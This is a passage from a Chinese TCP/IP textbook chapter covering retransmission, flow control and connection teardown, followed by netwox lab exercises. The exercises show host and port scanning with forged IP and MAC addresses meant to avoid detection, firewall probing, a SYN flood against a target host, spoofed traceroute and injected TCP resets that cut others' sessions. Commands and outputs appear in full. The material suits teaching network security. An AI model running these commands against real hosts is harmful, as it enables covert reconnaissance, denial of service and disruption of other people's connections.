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图6.19　数据包不重发

下面分为5部分对图6.19进行讲解。

·发送端第1次发送数据包：这里设置的窗口大小为3，可以最大发送3个数据包。发送端同时发送3个数据包1-1000、1001-2000和2001-3000。

·接收端返回确认应答包：接收端接收到这些数据，并给出确认应答包。数据包1-1000和数据包2001-3000的确认应答包没有丢失，但是数据包1001-2000的确认应答包丢失了。

·发送端第2次发送数据包：发送端收到接收端发来的确认应答包，虽然没有收到数据包1001-2000的确认应答包，但是收到了数据包2001-3000的确认应答包。判断第一次发送的3个数据包都成功到达了接收端。再次发送3个数据包3001-4000、4001-5000和5001-6000。

·接收端返回确认应答包：接收端接收到这些数据，并给出确认应答包。数据包3001-4000和数据包4001-5000的确认应答包丢失了，但是数据包5001-6000没有丢失。

·发送端第3次发送数据包：发送端收到接收端发来的确认应答包，查看到数据包5001-6000收到了确认应答包。判断第2次发送的3个数据包都成功到达了接收端。再次发送3个数据包6001-7000、7001-8000和8001-9000。

2.发送数据包丢失

这种情况指的是发送端发送的部分数据包没有达到接收端。那么，如果在接收端收到的数据包，不是本应该要接收的数据包，那么就会给发送端返回消息，告诉发送端自己应该接收的数据包。如果发送端连续收到3次这样的数据包，就认为该数据包成功发送到接收端，这时就开始重发该数据包。如图6.20所示。

下面分为7部分对图6.20进行讲解。

·发送端发送数据包：这里窗口大小为4，发送端发送4个数据包，分别为1-1000、1001-2000、2001-3000和3001-4000。

·接收端返回确认应答包：接收端接收到这些数据，并给出确认应答包。接收端收到了数据包1-1000，返回了确认应答包；收到了数据包1001-2000，返回了确认应答包；但是数据包2001-3000，在发送过程中丢失了，没有成功到达接收端。数据包3001-4000没有丢失，成功到达了接收端，但是该数据包不是接收端应该接收的数据包，数据包2001-3000才是真正应该接收的数据包。因此收到数据包3001-4000以后，接收端第一次返回下一个应该发送2001的数据包的确认应答包。

·发送端发送数据包：发送端仍然继续向接收端发送4个数据包，分别为4001-5000、5001-6000、6001-7000和7001-8000。

·接收端返回确认应答包：接收端接收到这些数据，并给出确认应答包。当接收端收到数据包4001-5000时，发现不是自己应该接收的数据包2001-3000，第二次返回下一个应该发送2001的数据包的确认应答包。当接收端收到数据包5001-6000时，仍然发现不是自己应该接收的数据包2001-3000，第三次返回下一个应该发送2001的数据包的确认应答包。以此类推直到接收完所有数据包，接收端都返回下一个应该发送2001的数据包的确认应答包。

·发送端重发数据包：发送端连续3次收到接收端发来的下一个应该发送2001的数据包的确认应答包，认为数据包2001-3000丢失了，就进行重发该数据包。

·接收端收到重发数据包：接收端收到重发数据包以后，查看这次是自己应该接收的数据包2001-3000，并返回确认应答包，告诉发送端，下一个该接收8001的数据包了。

·发送端发送数据包：发送端收到确认应答包后，继续发送窗口大小为4的数据包，分别为8001-9000、9001-10000、10001-11000和11001-12000。
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图6.20　数据包重发


6.4.4　TCP流控制

在使用滑动窗口机制进行数据传输时，发送方根据实际情况发送数据包，接收端接收数据包。但是，接收端处理数据包的能力是不同的。

·如果窗口过小，发送端发送少量的数据包，接收端很快就处理了，并且还能处理更多的数据包。这样，当传输比较大的数据时需要不停地等待发送方，造成很大的延迟。

·如果窗口过大，发送端发送大量的数据包，而接收端处理不了这么多的数据包，这样，就会堵塞链路。如果丢弃这些本应该接收的数据包，又会触发重发机制。

·为了避免这种现象的发生，TCP提供了流控制。所谓的流控制就是使用不同的窗口大小发送数据包。发送端第一次以窗口大小（该窗口大小是根据链路带宽的大小来决定的）发送数据包，接收端接收这些数据包，并返回确认应答包，告诉发送端自己下次希望收到的数据包是多少（新的窗口大小），发送端收到确认应答包以后，将以该窗口大小进行发送数据包。TCP流控制过程如图6.21所示。
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图6.21　TCP流控制

为了方便讲解，将图6.21以发送端发送数据包进行分隔，将其分为3部分进行讲解。

1.第一部分

发送端根据当前链路带宽大小决定发送数据包的窗口大小。这里，窗口大小为3，表示可以发送3个数据包。因此发送端发送了3个数据包，分别为1-1000、1001-2000和2001-3000。接收端接收这些数据包，但是只能处理2个数据包，第3个数据包2001-3000没有被处理。因此返回确认应答包，设置窗口大小为2，告诉发送端自己现在只能处理2个数据包，下一次请发送2个数据包。

2.第二部分

发送端接收到确认应答包，查看到接收端返回窗口大小为2，知道接收端只处理了2个数据包。发过去的第3个数据包2001-3000没有被处理。这说明此时接收端只能处理2个数据包，第3个数据包还需要重新发送。因此发送端发送2个数据包2001-3000和3001-4000。接收端收到这两个数据包并进行了处理。此时，还是只能处理2个窗口，继续向发送端发送确认应答包，设置窗口为2，告诉发送端，下一个应该接收4001的数据包。

3.第三部分

发送端接收到确认应答包，查看到接收端返回窗口大小为2。说明接收端接收了上次发送的2个数据包。此时仍然可以处理2个数据包，继续发送数据包4001-5000和5001-6000。

如果在接收端返回的确认应答包中，窗口设置为0，则表示现在不能接收任何数据。这时，发送端将不会再发送数据包，只有等待接收端发送窗口更新通知才可以继续发送数据包。如果这个更新通知在传输中丢失了，那么就可能导致无法继续通信。为了避免这样的情况发生，发送端会时不时地发送窗口探测包，该包仅有1个字节，用来获取最新的窗口大小的信息。原理如图6.22所示。

下面介绍图6.22所示的获取窗口更新数据包的原理。

（1）发送端发送数据。发送端以窗口大小为2，发送了2个数据包，分别为4001-5000和5001-6000。接收端接收到这些数据以后，缓冲区满了，无法再处理数据，于是向发送端返回确认应答包，告诉它下一个接收6001的数据，但是现在处理不了数据，先暂停发送数据，设置窗口大小为0。

（2）发送端暂停发送数据。发送端收到确认应答包，查看到下一次发送的是6001的数据，但窗口大小为0，得知接收端此时无法处理数据。此时，不进行发送数据，进入等待状态。

（3）接收端发送窗口大小更新包。当接收端处理完发送端之前发来的数据包以后，将会给发送端发送一个窗口大小更新包，告诉它，此时可以发送的数据包的数量。这里设置窗口大小为3，表示此时可以处理3个数据包，但是该数据包丢失了，没有发送到发送端。

（4）发送端发送窗口探测包。由于窗口大小更新包丢失，发送端的等待时间超过了重发超时时间。此时，发送端向接收端发送一个窗口探测包，大小为1字节，这里是6001。

（5）接收端再次发送窗口大小更新包。接收端收到发送端发来的探测包，再次发送窗口大小更新包，窗口大小为3。
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图6.22　获取窗口更新包

（6）发送端发送数据。发送端接收到窗口大小更新包，查看到应该发的是6001的数据包，窗口大小为3，可以发送3个数据包。因此发送了数据包，分别为6001-7000、7001-8000和8001-9000。


6.5　TCP断开连接

当客户端与服务器不再进行通信时，都会以4次挥手的方式结束连接。本节将介绍4次挥手的过程。


6.5.1　第1次挥手

客户端向服务器端发送断开TCP连接请求的[FIN，ACK]报文，在报文中随机生成一个序列号SEQ=x，表示要断开TCP连接，如图6.23所示。
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图6.23　第1次挥手


6.5.2　第2次挥手

当服务器端收到客户端发来的断开TCP连接的请求后，回复发送ACK报文，表示已经收到断开请求。回复时，随机生成一个序列号SEQ=y。由于回复的是客户端发来的请求，所以在客户端请求序列号SEQ=x的基础上加1，得到ACK=x+1，如图6.24所示。
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图6.24　第2次挥手


6.5.3　第3次挥手

服务器端在回复完客户端的TCP断开请求后，不会马上进行TCP连接的断开。服务器端会先确认断开前，所有传输到客户端的数据是否已经传输完毕。确认数据传输完毕后才进行断开，向客户端发送[FIN，ACK]报文，设置字段值为1。再次随机生成一个序列号SEQ=z。由于还是对客户端发来的TCP断开请求序列号SEQ=x进行回复，因此ACK依然为x+1，如图6.25所示。
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图6.25　第3次挥手


6.5.4　第4次挥手

客户端收到服务器发来的TCP断开连接数据包后将进行回复，表示收到断开TCP连接数据包。向服务器发送ACK报文，生成一个序列号SEQ=x+1。由于回复的是服务器，所以ACK字段的值在服务器发来断开TCP连接请求序列号SEQ=z的基础上加1，得到ACK=z+1，如图6.26所示。
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图6.26　第4次挥手


6.5.5　分析挥手过程字段的变化

在进行4次挥手时，TCP报文中标志位的值是不断变化的。为了更好地分析4次挥手标志位的变化，下面以抓包方式分析每个数据包的信息。

【实例6-7】使用Wireshark捕获TCP断开连接数据包并进行分析。

（1）捕获到4次挥手包，如图6.27所示。图中第1个数据包源IP地址为192.168.12.106，目标IP地址为123.58.191.10。在Transmission Control Protocol中可以看到，Sequence number的值为1，该值是主机192.168.12.106随机生成的请求序列号SEQ的值；Acknowledgment number的值为1，也就是确认号ACK的值。在Flags部分可以看到（FIN，ACK），表示该数据包是主机192.168.12.106向主机123.58.191.10发送的请求断开TCP连接的数据包。在该部分中可以看到Acknowledgment的值被设置为1，也就是报文字段中ACK的值；Fin的值也被设置为1，也就是报文字段中FIN的值。
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图6.27　第1次挥手

（2）选择第2个数据包，如图6.28所示。其中，源IP地址为123.58.191.10，目标IP地址为192.168.12.106。在Transmission Control Protocol中可以看到，Sequence number的值也为1，该值是由主机123.58.191.10随机生成的请求序列号SEQ。Acknowledgment number的值为2，该值是在主机192.168.12.106发过来的SEQ序列号基础上加1得到的。在Flags部分可以看到（ACK），表示该数据包是主机123.58.191.10回复主机192.168.12.106发来的TCP断开请求的确认包。在该部分中可以看到Acknowledgment的值被设置为1，也就是报文字段中ACK的值。
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图6.28　第2次挥手

（3）选择第3个数据包，如图6.29所示。其中，源IP地址为123.58.191.10，目标IP地址为192.168.12.106。在Transmission Control Protocol中可以看到，请求序列号的值为1，确认号ACK的值为2。在Flags部分可以看到（FIN，ACK），表示该数据包是主机123.58.191.10向主机192.168.12.106发送的断开TCP连接的FIN包。在该部分中可以看到报文中的ACK值被设置为1，FIN值被设置为1。

（4）选择第4个数据包，如图6.30所示。其中，源IP地址为192.168.12.106，目标IP地址为123.58.191.10。在Transmission Control Protocol中可以看到，请求序列号的值为2，该值是再次由主机192.168.12.106所产生的。确认号ACK的值为2，该值是回复第3次挥手中主机123.58.191.10随机生成的请求序列号SEQ基础上加1所得的。在Flags部分可以看到（ACK），表示该数据包是主机192.168.12.106回复主机123.58.191.10的断开请求。在该部分中可以看到报文中的ACK值被设置为1。
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图6.29　第3次挥手
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图6.30　第4次挥手


6.6　TCP协议应用——扫描主机

通常，用户通过ping命令判断目标主机是否开启。但是，很多主机都是禁止使用ping命令的。如果目标主机开放，并有程序在运行和监听特定的TCP端口，那么就可以通过TCP协议连接该端口从而判断主机是否运行。本节将讲解如何利用TCP协议扫描主机。


6.6.1　构造TCP Ping包实施扫描

构造TCP Ping包实质上是构建一个[SYN]包。它模拟TCP连接中的第1次握手，向目标主机的端口发出请求。如果指定的端口开放，将返回第2次握手包[SYN，ACK]；如果端口未开放，将返回[RST，ACK]包。可以借助netwox工具中编号为51的模块进行构建TCP Ping包。

【实例6-8】在主机192.168.59.131上构建TCP Ping包，对目标主机进行扫描，判断主机是否启用。

（1）判断目标主机192.168.59.135是否启用，执行命令如下：



root@daxueba:~# netwox 51 -i 192.168.59.135



输出信息如下：



Ok
Ok
Ok
Ok
Ok
…                                                            #省略其他信息



该模块默认向目标主机的80端口发送SYN包。上述输出信息中持续显示OK，表示目标主机的80端口返回了响应，从而确定该主机已启用。

（2）如果目标主机开放的不是80端口，就需要指定其他端口号。例如，基于5352端口，判断目标主机是否开启。执行命令如下：



root@daxueba:~# netwox 51 -i 192.168.59.135 -p 5352



执行命令后，将会向目标主机的5352端口发送SYN请求包。

（3）为了验证发送的SYN包情况，通过抓包进行查看，如图6.31所示。其中，第1个数据包的源IP地址为192.168.59.131，目标IP地址为192.168.59.135，源端口为随机端口56980，目标端口为要探测的端口5352。在Info列中可以看到[SYN]，表示该数据包为向目标主机发送的第1次握手包。第2个数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.131，源端口为5352，目标端口为56980，Info列中包含[SYN，ACK]，表示该数据包是第1个数据包的响应包。这说明目标主机上的5352端口是开放的，从而判定目标主机也是开启的。
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图6.31　目标端口开放数据包

（4）如果目标主机上的端口不开放，将返回[RST，ACK]包。例如，连接不开放的端口5533，如图6.32所示。其中，第1个数据包为向目标主机5533端口发送的第1次握手包，第2个数据包为对应的响应包，该包不是[SYN，ACK]包，而是[RST，ACK]包。这表示目标主机端口没有进行回复，目标端口5533没有启用。
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图6.32　目标端口不开放数据包


6.6.2　伪造TCP Ping包实施扫描

通过构造TCP Ping包来判断目标主机是否开启，很容易被发现。为了避免被发现，可以伪造TCP Ping包实施扫描。

【实例6-9】在主机192.168.59.131上伪造TCP Ping包，尝试访问目标主机的81端口。

（1）伪造IP地址为192.168.59.150，MAC地址为ab：bc：cd：12：23：34。执行命令如下：



root@daxueba:~# netwox 52 -i 192.168.59.135 -p 81 -E ab:bc:cd:12:23:34 -I
192.168.59.150 -e 00:0c:29:ca:e4:66



输出信息如下：



Ok
Ok
Ok
Ok
Ok
…                                    #省略其他信息



（2）通过抓包验证发送的TCP Ping包，并查看伪造的地址，如图6.33所示。其中，第1个数据包为发送的[SYN]包，可以看到源IP地址为192.168.59.150（伪造的），目标IP地址为192.168.59.135。在Ethernet II部分中可以看到源MAC地址为ab：bc：cd：12：23：34（伪造的）。第2个数据包为对应的响应包[SYN，ACK]，表示目标端口81开放。
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图6.33　伪造的数据包


6.7　TCP协议应用——扫描TCP端口

在TCP协议中，计算机与计算机之间的通信都是通过端口识别进行传输的。不同的应用程序使用的端口也不同。通过判断开放的端口，可以了解目标主机运行哪些程序。通过构造TCP Ping包实施扫描可以判断端口是否开放，但它一次只能判断一个端口。下面将讲解如何批量扫描端口，以判断端口的开放情况。


6.7.1　构造TCP端口扫描包

TCP端口扫描也是构造的是TCP连接中的第1次握手包[SYN]包。如果端口开放，将返回第二次握手包[SYN，ACK]；如果端口未开放，将返回[RST，ACK]包。用户可以借助netwox工具中编号为67的模块构造TCP端口扫描包。

【实例6-10】在主机192.168.59.133上进行实施TCP端口扫描，探测目标主机192.168.59.156的端口开放情况。

（1）判断端口20～25的开放情况，执行命令如下：



root@daxueba:~# netwox 67 -i 192.168.59.156 -p 20-25



输出信息如下：



192.168.59.156 - 20 : closed
192.168.59.156 - 21 : closed
192.168.59.156 - 22 : closed
192.168.59.156 - 23 : closed
192.168.59.156 - 24 : closed
192.168.59.156 - 25 : closed



上述输出信息显示对端口20～25进行了扫描，closed表示这些端口都是关闭状态。

（2）通过抓包，可以捕获扫描发送的TCP SYN请求包和返回的TCP RST-ACK包，如图6.34所示。这里，捕获到12个数据包。其中，第1～3个和第5～7个包分别为向端口20～25发送的SYN请求包。其中，源IP地址为192.168.59.133（实施主机地址）。由于这些端口关闭，每个请求都返回了RST-ACK响应包。其中，第4个和第8～12个包为返回的响应包，表示端口未开放。
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图6.34　捕获端口关闭数据包

（3）判断端口81的开放情况，执行命令如下：



root@daxueba:~# netwox 67 -i 192.168.59.156 -p 81



输出信息如下：



192.168.59.156 - 81 : open



上述输出信息表示端口81是开放的。

（4）此时捕获到的数据包，将返回的是SYN-ACK包，如图6.35所示。其中，第5个数据包为发送的SYN请求包；第6个数据包为返回的SYN-ACK包，表示端口81是开放的。
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图6.35　捕获端口开放数据包


6.7.2　伪造TCP扫描包

直接基于本机构造TCP端口扫描包，很容易被发现。为了避免被发现，可以伪造TCP包实施扫描，如伪造IP地址和MAC地址。

【实例6-11】在主机192.168.59.133上构造TCP扫描包，探测目标主机192.168.59.156的端口开放情况。

（1）伪造IP地址为192.168.59.136，MAC地址为11：22：33：44：55：66，判断端口20～25的开放情况，执行命令如下：



root@daxueba:~# netwox 68 -i 192.168.59.156 -p 20-25 -E 11:22:33:44:55:66
-I 192.168.59.136



输出信息如下：



192.168.59.156 - 20 : closed
192.168.59.156 - 21 : closed
192.168.59.156 - 22 : closed
192.168.59.156 - 23 : closed
192.168.59.156 - 24 : closed
192.168.59.156 - 25 : closed



（2）当目标主机捕获到数据包时，发现的地址是虚假的地址，如图6.36所示。图中请求数据包的IP地址都为192.168.59.136（伪造的IP地址），MAC地址为11：22：33：44：55：66（伪造的MAC地址）。
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图6.36　捕获到伪造地址的数据包


6.7.3　防御扫描

为了防御攻击者对主机端口的扫描，可以干扰攻击者的判断。例如，当扫描未开放的端口时，也返回[SYN，ACK]包，使攻击者认为该端口是开放的。防御扫描干扰需要使用netwox工具中编号为79的模块。

【实例6-12】已知主机A的IP地址为192.168.59.135，主机B的IP地址为192.168.59.131。在主机192.168.59.135上实施防御扫描。

（1）查看主机A当前监听的端口，执行命令如下：



root@daxueba:~# netstat -l



输出信息如下：



Active Internet connections (only servers)
Proto            Recv-Q       Send-Q   Local Address        Foreign Address         State
tcp              0            0        0.0.0.0:5227            0.0.0.0:*            LISTEN
tcp              0            0        0.0.0.0:5228            0.0.0.0:*            LISTEN
tcp              0            0        0.0.0.0:5229            0.0.0.0:*            LISTEN
udp              19584        0        0.0.0.0:bootpc          0.0.0.0:*
raw6             0            0        [::]:ipv6-icmp           [::]:*                   7
Active UNIX domain sockets (only servers)



上述输出信息表示主机A当前开启了端口5227、5228、5229这3个端口。

（2）干扰主机B，使主机B认为除了上述3个端口以外，其他端口都是开放状态，执行命令如下：



root@daxueba:~# netwox 79 -i 192.168.59.135 -p 1-5226,5230-65535



执行命令后没有任何输出信息，但是会对命令中指定的端口都进行响应，返回[SYN，ACK]包。

（3）目标主机B对主机A进行扫描，例如，对端口21、25、53、80、443进行扫描，执行命令如下：



root@daxueba:~# netwox 67 -i 192.168.59.135 -p 21,25,53,80,443



输出信息如下：



192.168.59.135 - 21 : open
192.168.59.135 - 25 : open
192.168.59.135 - 53 : open
192.168.59.135 - 80 : open
192.168.59.135 - 443 : open



以上输出信息表示目标主机A的21、25、53、80、443端口都是开放状态，而实际并没有开放。

（4）通过抓包，查看捕获的数据包，如图6.37所示。从图中可以看到，主机B对主机A的21、25、53、80、443端口依次发送了TCP[SYN]包，并且都得到了对应的[SYN，ACK]响应包，表示这些端口是开放的。
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 注意：
 通常，目标主机上都有自己的内核防火墙。当攻击主机对目标主机端口扫描时，内核防火墙也会向攻击主机回复响应包。这时，不仅netwox工具会发出响应包，内核防火墙也会进行回复，导致发送响应包[SYN，ACK]和[RST]。例如，上述对端口21、25、53、80、443进行扫描，将会得到的响应包，如图6.38所示。图中第13～17个数据包，分别是端口21、25、53、80、443给出的[SYN，ACK]响应包，第18～22个数据包，分别是端口21、25、53、80、443给出的[RST]响应包。
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图6.37　成功进行了干扰
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图6.38　内核防火墙的响应包

为了能够使netwox工具起到干扰作用，需要在目标主机上内核防火墙中进行配置，丢弃接收的数据包，执行命令如下：



root@daxueba:~# iptables -P INPUT DROP



如果继续接收进入的数据包，执行命令如下：



root@daxueba:~# iptables -P INPUT ACCEPT




6.8　TCP协议应用——探测防火墙

为了安全，主机通常会安装防火墙。防火墙设置的规则可以限制其他主机连接。例如，在防火墙规则中可以设置IP地址，允许或阻止该IP地址主机对本机的连接；还可以设置监听端口，允许或阻止其他主机连接到本地监听的端口。

为了清楚地了解目标主机上是否安装防火墙，以及设置了哪些限制，netwox工具提供了编号为76的模块来实现。它通过发送大量的TCP[SYN]包，对目标主机进行防火墙探测，并指定端口通过得到的响应包进行判断。

·如果目标主机的防火墙处于关闭状态，并且指定的端口没有被监听，将返回[RST，ACK]包。

·如果目标主机上启用了防火墙，在规则中设置了端口，阻止其他主机连接该端口，那么在探测时将不会返回响应信息。如果设置为允许其他主机连接该端口，将返回[SYN，ACK]包。

·如果在规则中设置了IP地址，并允许该IP地址的主机进行连接，探测时返回[SYN，ACK]包；当阻止该IP地址的主机进行连接，探测时将不会返回数据包。

由于它可以发送大量的TCP[SYN]包，用户还可以利用该模块实施洪水攻击，耗尽目标主机资源。

【实例6-13】在主机192.168.59.131上对目标主机192.168.59.133进行防火墙探测。

（1）向目标主机端口2355发送TCP[SYN]包，探测是否有防火墙。执行命令如下：



root@daxueba:~# netwox 76 -i 192.168.59.133 -p 2355



执行命令后没有任何输出信息，但是会不断地向目标主机发送TCP[SYN]包。

（2）为了验证发送探测包情况，可以通过Wireshark抓包进行查看，如图6.39所示。其中，一部分数据包目标IP地址都为192.168.59.133，源IP地址为随机的IP地址，源端口为随机端口，目标端口为2355。这些数据包是探测防火墙时发送的TCP[SYN]数据包。另一部分数据包源IP地址为192.168.59.133，目标IP地址为随机的IP地址，源端口为2355，目标端口为随机端口。这些数据包为对应的响应包。这里的响应包为[RST，ACK]包，表示目标主机的防火墙没有开启，并且目标主机没有监听2355端口。

（3）目标主机没有开启防火墙时，如果监听了端口（如监听了49213端口），将会得到[SYN，ACK]响应包，如图6.40所示。其中，一部分数据包的源IP地址为192.168.59.133，目标IP地址为随机的IP地址，源端口为49213，目标端口为随机端口。这些数据包为对应的响应包。这里的响应包为第2次握手包，表示目标主机监听了49213端口。
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图6.39　捕获的数据包
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图6.40　监听端口数据包

（4）当目标主机上开启了防火墙，再进行探测时，如果目标主机监听了端口，并且在防火墙规则中允许连接到该端口，那么将会收到[SYN，ACK]响应包。如果不允许连接到该端口，那么将不会返回任何响应数据包。例如，防火墙规则中不允许连接49213端口，那么在探测时，将只有TCP[SYN]包，如图6.41所示。其中，所有的数据包目标IP地址都为192.168.59.133，源IP地址为随机的IP地址，源端口为随机端口，目标端口为49213。这些数据包就是探测时发送的TCP[SYN]包。
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图6.41　TCP[SYN]包

（5）目标主机的防火墙规则可能限制了特定IP地址的主机进行连接。那么，在进行探测时，其他IP地址的TCP[SYN]包会得到对应的[SYN，ACK]响应包，被限制的IP地址主机将不会收到响应包。捕获到的探测数据包，如图6.42所示。其中，伪造了大量的IP地址向目标主机发送的TCP[SYN]包。例如，第45个数据包为伪造主机19.182.220.102向目标主机192.168.59.133发送的探测包。第53个数据包为伪造主机223.145.224.217向目标主机192.168.59.133发送的探测包。
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图6.42　探测包

（6）通过显示过滤器，过滤主机19.182.220.102的数据包，如图6.43所示。图中第45个数据包为发送的探测包，第283个数据包为对应的响应包[SYN，ACK]。这说明目标主机防火墙规则中没有限制主机19.182.220.102的连接。
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图6.43　未被限制连接

（7）过滤主机223.145.224.217的数据包，如图6.44所示。该数据包为进行探测发送的[SYN]包，主机IP地址为223.145.224.217，但是该数据包没有对应的响应包。这说明目标主机防火墙规则中限制了主机223.145.224.217的连接。
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图6.44　被限制连接

（8）对目标主机实施洪水攻击，在攻击之前，在目标主机上查看所有端口的相关状态信息，如图6.45所示。其中，192.168.59.133：49213表示主机192.168.59.133开启了49213端口。状态列中的LISTENING表示该端口处于监听状态。
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图6.45　端口状态信息

（9）对目标主机进行洪水攻击，执行命令如下：



root@daxueba:~# netwox 76 -i 192.168.59.133 -p 49213



（10）再次在目标主机上查看所有端口的相关状态信息，如图6.46所示。图中显示了大量的地址192.168.59.133：49213，表示有大量的主机连接了主机的49213端口。其中，1.11.56.194：49356表示，主机1.11.56.194的49356端口连接了主机192.168.59.133的49213端口。
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图6.46　被攻击后的端口状态信息

（11）由于目标主机上监听了49213端口，捕获到对应的响应包[SYN，ACK]，如图6.47所示。
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图6.47　实施洪水攻击的数据包


6.9　TCP协议应用——跟踪路由

当目标主机禁止ping时，就无法通过ICMP请求包进行路由跟踪。这时可以借助TCP协议实施跟踪。用户可以使用netwox工具提供的相关模块发送TCP包，与目标主机连接，然后通过返回的响应来判断经过的路由信息。


6.9.1　构造TCP包进行路由跟踪

通过TCP包进行路由跟踪实际上也是构造一个[SYN]包，向目标主机进行发送，通过控制TTL值，从而获取路由信息。例如，向目标主机发送[SYN]包后，到达经过的路由器时，TTL值已经变为0，但还没有到达目标主机，则该路由器将返回表示超时消息的ICMP数据包。如果到达目标主机，将返回TCP[SYN，ACK]响应包。

【实例6-14】在主机192.168.12.106上构造TCP包，对目标主机125.39.52.26进行路由跟踪，判断到达目标主机都经过哪些路由。

（1）构造TCP包进行路由跟踪，执行命令如下：



root@kali:~# netwox 59 -i 125.39.52.26



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.201
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26



以上输出信息显示了经过的所有路由器的IP地址信息。例如，经过的第一个路由器地址为192.168.12.1。

（2）为了验证成功构造了TCP包，并得到了每个路由器的响应信息，可以进行捕获数据包来查看，如图6.48所示。

从图6.48可知：

·第4个数据包源IP地址为192.168.12.106，目标IP地址为125.39.52.26，是实施主机向目标主机发送的TCP[SYN]包；

·第5个数据包源IP地址为192.168.12.1，目标IP地址为192.168.12.106，该数据包是经过的第1个网关返回的超时消息的ICMP数据包，表示还没有达到目标主机125.39.52.26；

·第6个数据包为实施主机192.168.12.106继续向目标主机125.39.52.26发送的TCP[SYN]包；

·第7个数据包为经过的第2个网关返回的超时消息的ICMP数据包。

以此类推，第30个数据包为向目标主机125.39.52.26发送的TCP[SYN]包，第31个数据包为目标主机125.39.52.26返回的TCP[SYN，ACK]包。
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图6.48　捕获的数据包


6.9.2　伪造TCP包进行路由跟踪

使用本机进行路由跟踪，很容易被发现。为了避免被发现，用户可以伪造TCP包进行路由跟踪，如伪造IP地址和MAC地址。

【实例6-15】已知目标主机IP地址为125.39.52.26，MAC地址为ec：17：2f：46：70：ba。在主机192.168.12.106上伪造TCP包进行路由跟踪。

（1）伪造源IP地址为192.168.12.140，MAC地址为aa：bb：cc：dd：11：22，执行命令如下：



root@kali:~# netwox 60 -i 125.39.52.26 -E aa:bb:cc:dd:11:22 -I 192.168.
v12.140 -e ec:17:2f:46:70:ba



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.201
6 : 219.158.15.214
8 : 125.39.79.166
14 : 125.39.52.26



（2）通过抓包，验证成功伪造TCP[SYN]进行路由跟踪数据包，如图6.49所示。其中，第30个数据包的源IP地址为192.168.12.140（伪造的），目标IP地址为125.39.52.26；在Ethernet II部分中，源MAC地址为aa：bb：cc：dd：11：22（伪造的）。第31个数据包为对应的响应包，目标IP地址为192.168.12.140，说明成功将返回的信息发送给了伪造的地址。
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图6.49　伪造TCP[SYN]


6.10　TCP协议应用——检测网络性能

TCP协议通过滑动窗口方式，可以充分利用网络性能传输数据。所以，利用TCP传输机制，可以检测网络性能。netwox工具提供了相关模块来实现该功能，可以使用编号为155的模块建立TCP服务器，使用编号为156的模块建立TCP客户端。然后，使用TCP客户端连接TCP服务器端，测试网络性能。

【实例6-16】已知主机A的IP地址为192.168.59.135，主机B的IP地址为192.168.59.131。使用这两个主机进行网络性能检测。具体步骤如下：

（1）将主机A设置为TCP服务器端，监听的端口为5228，执行命令如下：



root@daxueba:~# netwox 155 -P 5228



执行命令后没有任何输出信息。

（2）将主机B设置为TCP客户端，并连接TCP服务器端，执行命令如下：



root@daxueba:~# netwox 156 -p 5228 -i 192.168.59.135



输出信息如下：



  37226820 Bytes/sec [=~=  333636 kbit/sec]    jitter=    1420 usec
  21462698 Bytes/sec [=~=  192354 kbit/sec]    jitter=   12990 usec
  46895528 Bytes/sec [=~=  420290 kbit/sec]    jitter=   14478 usec
  33407776 Bytes/sec [=~=  299409 kbit/sec]    jitter=    2011 usec
  23745772 Bytes/sec [=~=  212815 kbit/sec]    jitter=     547 usec



以上输出信息显示了每秒传输位数和TCP的抖动（jitter）。

（3）为了验证测试过程，通过抓包查看，如图6.50所示。其中，第5～7个数据包为3次握手包。
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图6.50　3次握手


6.11　TCP协议应用——干扰连接

TCP协议通过3次握手和4次挥手建立和断开连接。利用握手和挥手机制，也可以干扰正常的TCP数据传输。本节将详细讲解如何干扰TCP数据传输。


6.11.1　重置会话

正常情况下，客户端与服务器端不再通信时，需要通过四次挥手断开连接。利用该机制，用户可以手动发送TCP重置包，断开客户端与服务器之间的连接，干扰正常的数据传输。重置会话可以使用netwox工具提供的编号为78的模块。

【实例6-17】已知主机A的IP地址为192.168.59.156，主机B的IP地址为192.168.59.135，主机C的IP地址为192.168.59.133。使用netwox工具重置TCP会话。具体步骤如下：

（1）在主机A上建立TCP服务器端，并发送消息ni hao，如下：



root@daxueba:~# netwox 89 -P 80
ni hao



（2）在主机B上建立TCP客户端，并回复消息hao，如下：



root@daxueba:~# netwox 87 -i 192.168.59.156 -p 80
ni hao
hao



从以上输出信息可以看到TCP客户端与服务器端的会话消息。

（3）在主机C上使用netwox重置TCP会话，指定服务器端IP地址，执行命令如下：



root@daxueba:~# netwox 78 -i 192.168.59.156



执行命令后没有任何输出信息。

（4）当在TCP服务器端再次向TCP客户端发送消息时，则TCP会话中断。例如，发送消息hello，如下：



root@daxueba:~# netwox 89 -P 80
ni hao
hao
hello
root@daxueba:~#                              #中断TCP会话



（5）在服务器端进行抓包，将捕获到TCP会话中断的相关数据包，如图6.51所示。图中第21个数据包为TCP数据包，在Info列中可以看到[TCP ACKed unseen segment]信息，表示该数据包的TCP会话不存在，已经重置了。在Transmission Control Protocol部分中可以看到Flags：的值为(RST，ACK)，表示该数据包为重置数据包。
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图6.51　重置TCP会话数据包


6.11.2　检查盲注攻击漏洞

发送一个[SYN]请求包，会得到一个包含序列号的[SYN，ACK]响应包。连续发送[SYN]请求包时，会得到一系列的序列号。如果序列号的值是有规律的，那么当请求主机不再发送[SYN]请求包时，攻击者可以利用发现的规律预测到下一个序列号的值。该现象被称为TCP序列号预测漏洞。

为了判断目标主机上是否存在该漏洞，netwox工具提供了编号为77的模块来实现。它可以向目标主机发送大量的[SYN]请求包。如果目标主机端口处于开放状态，可以得到一系列的序列号值。通过比对这些值是否具有规律性，可以判断是否存在该漏洞。

【实例6-18】检查目标主机是否存在TCP序列号预测漏洞。

（1）对目标主机进行检查，执行命令如下：



root@daxueba:~# netwox 77 -i 192.168.59.135 -p 5228



输出信息如下：



3602706571 [+3602706571]
3603262943 [+556372]
3604137494 [+874551]
3605012444 [+874950]
3605952250 [+939806]
3606839275 [+887025]
3607738492 [+899217]
3608577051 [+838559]
3609516111 [+939060]
3610388602 [+872491]
3611263469 [+874867]
3612140273 [+876804]
…                                          #省略其他信息



